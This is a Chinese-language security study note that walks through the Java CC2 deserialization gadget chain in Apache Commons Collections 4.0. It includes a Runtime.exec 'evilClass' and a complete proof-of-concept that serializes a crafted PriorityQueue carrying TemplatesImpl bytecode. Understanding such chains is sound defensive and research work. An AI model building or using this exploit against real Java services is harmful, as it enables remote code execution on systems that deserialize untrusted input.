Java安全学习笔记--反序列化漏洞利用链CC2链

测试环境

jdk1.8(jdk8u71)

apache common cellection 4.0

预备知识简述

Javassist动态字节码编程

字节码技术可以动态改变某个类的结构(添加/删除/修改  新的属性/方法)

关于字节码的框架有javassist,asm,bcel等,javassist相对简单不需要掌握字节码指令相关知识即可使用。

几个关键的类:

ClassPool:ClassPool 类可以控制的类的字节码,例如创建一个类或加载一个类,是CtClass对象集合的容器。一旦CtClass对象被创建,它就会被永远一直记录在ClassPool内。

CtClass: CtClass提供了类的操作,如在类中动态添加新字段、方法和构造函数、以及改变类、父类和接口的方法

CtField:类的属性,通过它可以给类创建新的属性,还可以修改已有的属性的类型,访问修饰符等

CtMethod:表示类中的方法,通过它可以给类创建新的方法,还可以修改返回类型,访问修饰符等, 甚至还可以修改方法体内容代码

CtConstructor:用于访问类的构造,与CtMethod类的作用类似

PriorityQueue类

优先队列,向队列中添加元素时,使得队列保持有序,比如,1,3,2,以这个顺序入队再出队的时候就是1,2,3,这是默认的排序方式,在实例化的时候可以传入一个Comparator

 Queue customerPriorityQueue = new PriorityQueue<>(7, idComparator);

idComparators是一个Comporator类可以通过重写compare方法提供自定义的排序方式,很多支持自定义排序方式的函数或类都支持类似的传参,在cc2链中利用的就是TranformingCompatator这个Comporator的子类自带的compare方法

  public static Comparator idComparator = new Comparator(){
        @Override
        public int compare(Customer c1, Customer c2) {
            return (int) (c1.getId() - c2.getId());
        }
};

通过查看PriorityQueue这个类的readObject源码来看,每次这个类的实例被反序列化都会进行一次排序,所以会触发比较器的compare方法

TemplatesImpl类:

这是一个JDK用于在处理xml文件用到的类,在Java 8u251后不能使用, 具体这个类的说明,以及高版本不能使用的原因可以看P神的这一篇文章。https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html

CC2链是基于 Apache common collection 4.0的因为利用链中的一个类(TransformingComparator)在3.0是没有实现Serializable接口,而且在jdk8u71的时候AnotationInvocationHandler的readObject已经被改写,CC1链在apache common collection 4.0的时候失效

恶意类

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;


public class evilClass extends AbstractTranslet{
    //需要继承AbstractTranslet,因为在defineTransletClasses中会判断是否继承了这个类没有会报错
    public evilClass() {
        super();
        try {
            Runtime.getRuntime().exec("calc");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    //两种触发方式构造方法和静态代码块
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }}


    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }


}

利用链核心

        //将恶意类转换为字节码
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.getCtClass("com.test.evilClass");
        byte[] bytes = ctClass.toBytecode();

        //通过反射创建TemplatesImpl类实例
        Class aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor constructor = aClass.getDeclaredConstructor();
        Object templatesImpl = constructor.newInstance();
        //将恶意类的字节码设置给_bytecodes属性
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
        //设置属性_name为恶意类名
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(TemplatesImpl_instance , "evilTemplatesImpl");

        //利用invokerTransformer类的transform方法来触发newTransformer
        InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);

CC2利用链核心主要是利用动态字节码编程,将恶意类转为字节码,通过反射的方式将恶意类的字节码赋值给TranslatesImpl类的_bytecodes属性, TranslatesImpl这个类可以将_bytecodes中的字节码转换为类(defineTransletClasses方法)复制给属性_class,并且也可以将_class实例化(newInstance方法),通过利用链依次调用方法最后实例化触发恶意类构造方法或静态类中的恶意代码。

TranslatesImpl类中的getTransletInstance方法同时调用了这两个方法,所以接下来是调用getTransletClasses的地方。

 public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);
        省略。。。
        return transformer;
    }

还是TranslatesImpl类中的newTransFormer方法调用了getTransletClassed,并且它是一个公有方法所以就可以利用cc1链中的invoketransform类的transform方法来调用他,接下来就是调用了transform的类了。

用到的是TransformingComparator类,并且这个类也实现了serializable接口,这个类中的compare方法调用了transform方法,这里的this.transformer是可控的。

Java安全学习笔记--反序列化漏洞利用链CC2链_第1张图片

接下来就是利用链中的最后一个类PriorityQueue,这个类重写了readObject(实现了serializable接口),在readObject中调用了compare方法。

readObject方法中具体的调用compare方法的过程

readObject()

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

heapify()可以看出PriorityQueue类使用堆排序对反序列化出的元素排序

Java安全学习笔记--反序列化漏洞利用链CC2链_第2张图片

siftDown()这里会进入siftDownUsingComparator(),因为comparator会在POC中被赋值

Java安全学习笔记--反序列化漏洞利用链CC2链_第3张图片

siftDownUsingComparator()

Java安全学习笔记--反序列化漏洞利用链CC2链_第4张图片

编写POC:

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;

public class CC2Poc {
    public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException, NoSuchFieldException {
        //将恶意类转换为字节码
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.getCtClass("com.test.evilClass");
        byte[] bytes = ctClass.toBytecode();

        //反射创建TemplatesImpl
        Class aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor constructor = aClass.getDeclaredConstructor();
        //TemplatesImpl有无参构造不需传参
        Object templatesImpl = constructor.newInstance();
        //将恶意类的字节码设置给_bytecodes属性
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templatesImpl, new byte[][]{bytes});
        //设置属性_name为恶意类名
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templatesImpl , "evilTemplatesImpl");
        //利用invokerTransformer类的transform方法来触发newTransformer
        InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
        TransformingComparator transformerComparator =new TransformingComparator(transformer);
        //这里添加两个1是因为PriorityQueue有一个属性为size表示队列中的元素个数,相当于在队列中添加两个空间在后面代码中就通过反射将templatesImpl代替这两个1
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        //设置comparator属性
        Field field=queue.getClass().getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,transformerComparator);

        //设置queue属性,至少添加两个元素才会进行比较
        field=queue.getClass().getDeclaredField("queue");
        field.setAccessible(true);
        Object[] objects = new Object[]{templatesImpl , templatesImpl};
        field.set(queue,objects);

        //序列化
        ByteArrayOutputStream byteArrayOutputStream= new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(queue);
        objectOutputStream.close();
        // 反序列化
        ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object object = objectInputStream.readObject();
    }

}

总感觉优先队列有点熟悉,后来看了源码,优先队列入队的过程其实就是进行堆排序的过程。

你可能感兴趣的:(Java安全,java,安全,开发语言,信息安全,网络安全)